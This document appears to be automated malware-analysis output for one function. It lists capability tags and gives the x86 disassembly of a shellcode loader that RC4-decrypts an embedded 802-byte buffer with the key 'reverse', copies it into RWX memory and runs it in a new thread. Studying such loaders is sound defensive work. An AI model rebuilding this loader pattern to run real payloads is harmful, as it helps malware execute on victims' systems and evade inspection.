Function at 0x401070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Encrypt data using rc4 ksa
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x53c
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x538], eax
push ebx
push esi
push edi
mov ecx, 0xc8
mov dword [esp + 0x10], 0x65766572
mov esi, 0x403150
mov dword [esp + 0x14], 0x657372
lea edi, [esp + 0x218]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4010c0
push 0x100
xor edi, edi
lea eax, [esp + 0x11c]
push edi
push eax
sub esi, ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
mov eax, ecx
mov byte [esp + ecx + 0x18], cl
xor edx, edx
div esi
mov al, byte [esp + edx + 0x10]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 0x100
jl 0x4010e3
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401133
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jl 0x401110
xor esi, esi
nop word [eax + eax]
mov al, byte [esp + esi + 0x18]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [esi + 0x405378], al
movzx eax, al
push eax
push 0x401050
call fcn.00401310
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov ecx, eax
call fcn.00401530
inc esi
cmp esi, 0x100
jl 0x401150
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401750
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov bl, byte [esp + 0x19]
xor esi, esi
movzx edi, bl
nop dword [eax + eax]
movzx eax, byte [esp + edi + 0x18]
mov cl, bl
mov byte [esp + 0x19], al
mov byte [esp + edi + 0x18], cl
mov bl, byte [esp + 0x19]
movzx eax, cl
movzx edi, bl
add eax, edi
movzx eax, al
movzx eax, byte [esp + eax + 0x18]
xor byte [esp + esi + 0x218], al
movzx eax, byte [esp + esi + 0x218]
push eax
push str.x_02x
call fcn.00401010
inc esi
add esp, 8
cmp esi, 0x322
jb 0x4011b0
push 0x40
push 0x3000
push 0x322
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [esp + 0x218]
mov ecx, 0xc8
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push eax
push 0
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x544]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040177f
mov esp, ebp
pop ebp
ret